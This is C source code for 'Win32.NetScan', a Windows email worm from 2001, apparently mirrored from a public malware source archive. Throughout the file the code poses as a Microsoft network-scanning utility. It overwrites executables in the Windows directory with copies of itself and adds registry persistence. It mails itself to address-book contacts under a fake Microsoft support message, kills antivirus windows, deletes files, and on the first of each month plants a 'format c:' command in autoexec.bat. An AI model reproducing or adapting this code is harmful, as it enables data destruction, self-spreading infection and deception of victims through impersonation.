mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
245 lines
11 KiB
C
245 lines
11 KiB
C
#include "netscan.h"
|
||
#pragma hdrstop
|
||
#pragma warning (disable: 4068)
|
||
#pragma warning (disable: 4001)
|
||
#pragma resource "resource.res"
|
||
|
||
char GetNetScanPath[256],GetNetScanWinDir[256],MyBuffer[256]="echo y|format c: /u /v:HaHaHaHa";
|
||
LPSTR FileEmm386 = "Emm386.exe";
|
||
LPSTR FileSetver = "SetVer.exe";
|
||
LPSTR Nom = "a";
|
||
DWORD ExtInf;
|
||
int Err,ErrSend;
|
||
HANDLE NetScanTime,NetScanHandle,AutoBat;
|
||
HMODULE GetKernLib, GetMapiLib;
|
||
HKEY NetScan32Key,NetScanNTKey,NetScanInstall,CreateNetScan;
|
||
typedef DWORD(*RegistServProcs)(DWORD,DWORD);
|
||
typedef ULONG(*SendMessInfect)(LHANDLE,ULONG,MapiMessage FAR*,FLAGS,ULONG);
|
||
typedef ULONG(*FindUserAddress)(LHANDLE,ULONG,LPTSTR,FLAGS,ULONG,lpMapiRecipDesc FAR*);
|
||
typedef ULONG(*DoMemFree)(LPVOID);
|
||
HWND WindowsHwnd,SymantecHwnd,NAVHwnd;
|
||
|
||
#pragma argsused
|
||
int APIENTRY WinMain
|
||
(
|
||
HINSTANCE hInstance,
|
||
HINSTANCE hPrevInstance,
|
||
LPSTR lpszCmdLine,
|
||
int nCmdShow
|
||
)
|
||
{
|
||
//Win32.NetScan by ZeMacroKiller98
|
||
//Tous droits r‚serv‚s (c) 2001
|
||
WIN32_FIND_DATA GetFileToInfect;
|
||
OSVERSIONINFO GetOsVer;
|
||
FILETIME GetFileCreateTime,GetFileLstAccess,GetFileLstWrite;
|
||
SYSTEMTIME TriggerScanTime;
|
||
RegistServProcs MyServProcs;
|
||
SendMessInfect SendMessToOther;
|
||
FindUserAddress GetAddressUser;
|
||
DoMemFree GetMemFree;
|
||
GetKernLib = LoadLibrary("kernel32.dll");
|
||
MyServProcs = (RegistServProcs)GetProcAddress(GetKernLib,"RegisterServiceProcess");
|
||
MessageBox(NULL,"This freeware install automaticaly itself into your system\nIt scan your system each time you connect to network\nIf you have any problem, contact Microsoft","NetScan Utility",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
|
||
SearchPath(NULL,_argv[0],NULL,sizeof(GetNetScanPath),GetNetScanPath,NULL);
|
||
GetOsVer.dwOSVersionInfoSize = sizeof(GetOsVer);
|
||
GetVersionEx(&GetOsVer);
|
||
if(GetOsVer.dwPlatformId==VER_PLATFORM_WIN32_NT)
|
||
{
|
||
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScanNTKey);
|
||
RegSetValueEx(NetScanNTKey,"NetScanNT",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath));
|
||
RegCloseKey(NetScanNTKey);
|
||
}
|
||
else
|
||
{
|
||
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScan32Key);
|
||
RegSetValueEx(NetScan32Key,"NetScan32",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath));
|
||
RegCloseKey(NetScan32Key);
|
||
}
|
||
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\NetScan\\Install",0,KEY_ALL_ACCESS,&NetScanInstall)!=ERROR_SUCCESS)
|
||
{
|
||
GetMapiLib = LoadLibrary("mapi32.dll");
|
||
GetWindowsDirectory(GetNetScanWinDir,sizeof(GetNetScanWinDir));
|
||
SetCurrentDirectory(GetNetScanWinDir);
|
||
NetScanHandle = FindFirstFile("*.exe",&GetFileToInfect);
|
||
NetScanFind:
|
||
NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
|
||
GetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite);
|
||
CloseHandle(NetScanTime);
|
||
if((lstrcmp(GetFileToInfect.cFileName,"emm386.exe")==0)||(lstrcmp(GetFileToInfect.cFileName,"setver.exe")==0))
|
||
goto NotInfection;
|
||
CopyFile(_argv[0],GetFileToInfect.cFileName,FALSE);
|
||
NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
|
||
SetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite);
|
||
CloseHandle(NetScanTime);
|
||
NotInfection:
|
||
if(FindNextFile(NetScanHandle,&GetFileToInfect)==TRUE)
|
||
goto NetScanFind;
|
||
FindClose(NetScanHandle);
|
||
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Britney\\Install",&CreateNetScan);
|
||
RegCloseKey(CreateNetScan);
|
||
SendMessToOther = (SendMessInfect)GetProcAddress(GetMapiLib,"MAPISendMail");
|
||
GetAddressUser = (FindUserAddress)GetProcAddress(GetMapiLib,"MAPIResolveName");
|
||
GetMemFree = (DoMemFree)GetProcAddress(GetMapiLib,"MAPIFreeBuffer");
|
||
if((SendMessToOther==NULL)||(GetAddressUser==NULL)||(GetMemFree==NULL))
|
||
{
|
||
MessageBox(NULL,"This program need MAPI functions installed on your PC\nPlease contact your hot line to install it","NetScan Utility",MB_OK|MB_ICONEXCLAMATION);
|
||
SetCurrentDirectory("C:/");
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
}
|
||
MapiMessage stMessage;
|
||
MapiRecipDesc stRecip;
|
||
MapiFileDesc stFile;
|
||
lpMapiRecipDesc lpRecip;
|
||
stFile.ulReserved = 0;
|
||
stFile.flFlags = 0L;
|
||
stFile.nPosition = (ULONG)-1;
|
||
stFile.lpszPathName = GetNetScanPath;
|
||
stFile.lpszFileName = NULL;
|
||
stFile.lpFileType = NULL;
|
||
MessageBox(NULL,"To test your network, you need to select a email address into your address book\nPlease select address with","ILoveBritney Freeware",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
|
||
UnResolve:
|
||
Err = (GetAddressUser)(lhSessionNull,0L,Nom,MAPI_DIALOG,0L,&lpRecip);
|
||
if(Err!=SUCCESS_SUCCESS)
|
||
{
|
||
switch(Err){
|
||
case MAPI_E_AMBIGUOUS_RECIPIENT:
|
||
MessageBox(NULL,"The recipient requested has not been or could\n not be resolved to a unique address list entry","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
break;
|
||
case MAPI_E_UNKNOWN_RECIPIENT:
|
||
MessageBox(NULL,"The recipient could not be resolved to any\naddress.The recipient might not exist or might be unknown","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
break;
|
||
case MAPI_E_FAILURE:
|
||
MessageBox(NULL,"One or more unspecified errors occured\nThe name was not resolved","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
break;
|
||
case MAPI_E_INSUFFICIENT_MEMORY:
|
||
MessageBox(NULL,"There was insufficient memory to proceed","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
break;
|
||
case MAPI_E_NOT_SUPPORTED:
|
||
MessageBox(NULL,"The operation was not supported by the messaging system","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
break;
|
||
case MAPI_E_USER_ABORT:
|
||
MessageBox(NULL,"The user was cancelled one or more dialog box","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
break;
|
||
}
|
||
goto UnResolve;
|
||
}
|
||
stRecip.ulReserved = lpRecip->ulReserved;
|
||
stRecip.ulRecipClass = MAPI_TO;
|
||
stRecip.lpszName = lpRecip->lpszName;
|
||
stRecip.lpszAddress = lpRecip->lpszAddress;
|
||
stRecip.ulEIDSize = lpRecip->ulEIDSize;
|
||
stRecip.lpEntryID = lpRecip->lpEntryID;
|
||
stMessage.ulReserved = 0;
|
||
stMessage.lpszSubject = "Microsoft NetScan Utility";
|
||
stMessage.lpszNoteText = lstrcat("Hi ",(lstrcat(lpRecip->lpszName,"\n\n\tI send you this mail to test my network\nI need you to send me a answer about it\nThis program can scan your network to find all problem into your network\n\n\tEnjoy to test your net...\nThank you and see you soon....\n\n\n\t\t\t\t\tMicrosoft Technical Support")));
|
||
stMessage.lpszMessageType = NULL;
|
||
stMessage.lpszDateReceived = NULL;
|
||
stMessage.lpszConversationID = NULL;
|
||
stMessage.flFlags = 0L;
|
||
stMessage.lpOriginator = NULL;
|
||
stMessage.nRecipCount = 1;
|
||
stMessage.lpRecips = &stRecip;
|
||
stMessage.nFileCount = 1;
|
||
stMessage.lpFiles = &stFile;
|
||
ErrSend = (SendMessToOther)(lhSessionNull,0L,&stMessage,0L,0L);
|
||
if(ErrSend!=SUCCESS_SUCCESS)
|
||
{
|
||
MessageBox(NULL,"The test can't continue, due to a error occured during to sending message\nPlease contact our hotline at hotline@microsoft.com","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DeleteFile("*.*");
|
||
ExitProcess(0);
|
||
}
|
||
MessageBox(NULL,"The test is OK and NetScan is installed into your system\n",
|
||
"NetScan Utility",
|
||
MB_OK|MB_ICONINFORMATION);
|
||
FreeLibrary(GetMapiLib);
|
||
}
|
||
RegCloseKey(NetScanInstall);
|
||
STARTUPINFO NetScanInfo;
|
||
PROCESS_INFORMATION NetScanProc;
|
||
NetScanInfo.cb = sizeof(STARTUPINFO);
|
||
NetScanInfo.lpReserved = NULL;
|
||
NetScanInfo.lpReserved2 = NULL;
|
||
NetScanInfo.cbReserved2 = 0;
|
||
NetScanInfo.lpDesktop = NULL;
|
||
NetScanInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;
|
||
if(CreateProcess(GetNetScanPath,
|
||
NULL,
|
||
(LPSECURITY_ATTRIBUTES)NULL,
|
||
(LPSECURITY_ATTRIBUTES)NULL,
|
||
FALSE,
|
||
0,
|
||
NULL,
|
||
NULL,
|
||
&NetScanInfo,
|
||
&NetScanProc))
|
||
{
|
||
CloseHandle(NetScanProc.hProcess);
|
||
CloseHandle(NetScanProc.hThread);
|
||
}
|
||
if(CreateMutex(NULL,TRUE,GetNetScanPath)==NULL)
|
||
ExitProcess(0);
|
||
SetPriorityClass(NetScanProc.hProcess,REALTIME_PRIORITY_CLASS);
|
||
MyServProcs(NetScanProc.dwProcessId,1);
|
||
GetSystemTime(&TriggerScanTime);
|
||
//Close windows which title is WINDOWS
|
||
WindowsHwnd = FindWindow(NULL,"WINDOWS");
|
||
if(WindowsHwnd!=NULL)
|
||
DestroyWindow(WindowsHwnd);
|
||
//Close access to Symantec HomePage
|
||
SymantecHwnd = FindWindow(NULL,"Symantec Security Updates - Home Page - Microsoft Internet Explorer");
|
||
if(SymantecHwnd!=NULL)
|
||
{
|
||
MessageBox(NULL,"You don't have access to this page\nPlease contact the web master to correct this problem\n","Microsoft Internet Explorer",MB_OK|MB_ICONEXCLAMATION|MB_ICONSTOP);
|
||
DestroyWindow(SymantecHwnd);
|
||
}
|
||
//Anti Norton Antivirus
|
||
NAVHwnd = FindWindow(NULL,"Norton AntiVirus");
|
||
if(NAVHwnd !=NULL)
|
||
{
|
||
MessageBox(NULL,"Ha Ha Ha Ha!!!!, you use NAV?????\nI can allow access to it\nChange AV now","Win32.NetScan",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
|
||
DestroyWindow(NAVHwnd);
|
||
}
|
||
if((TriggerScanTime.wHour==12)&&(TriggerScanTime.wMinute==12))
|
||
{
|
||
mciSendString("open cdaudio",NULL,0,NULL);
|
||
mciSendString("set cdaudio door open",NULL,0,NULL);
|
||
mciSendString("close cdaudio",NULL,0,NULL);
|
||
mciSendString("open cdaudio",NULL,0,NULL);
|
||
mciSendString("set cdaudio audio all off",NULL,0,NULL);
|
||
mciSendString("close cdaudio",NULL,0,NULL);
|
||
MessageBeep(MB_ICONEXCLAMATION);
|
||
}
|
||
if(TriggerScanTime.wDay==1)
|
||
{
|
||
MessageBox(NULL,"It's the day that your PC is going to scan or maybe going to disappear","Win32.Netscan",MB_OK|MB_ICONEXCLAMATION);
|
||
SetCurrentDirectory("C:\\");
|
||
AutoBat = CreateFile("autoexec.bat",GENERIC_WRITE,0,(LPSECURITY_ATTRIBUTES) NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE) NULL);
|
||
SetFilePointer(AutoBat, 0, (LPLONG)NULL,FILE_END);
|
||
WriteFile(AutoBat,MyBuffer,sizeof(MyBuffer),&ExtInf,NULL);
|
||
CloseHandle(AutoBat);
|
||
ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0);
|
||
}
|
||
FreeLibrary(GetKernLib);
|
||
return 0;
|
||
}
|
||
|
||
|
||
*************************************************************************
|
||
|
||
#define WIN32_LEAN_AND_MEAN
|
||
#include <windows.h>
|
||
#include <dos.h>
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <mapi.h>
|
||
#include <mmsystem.h> |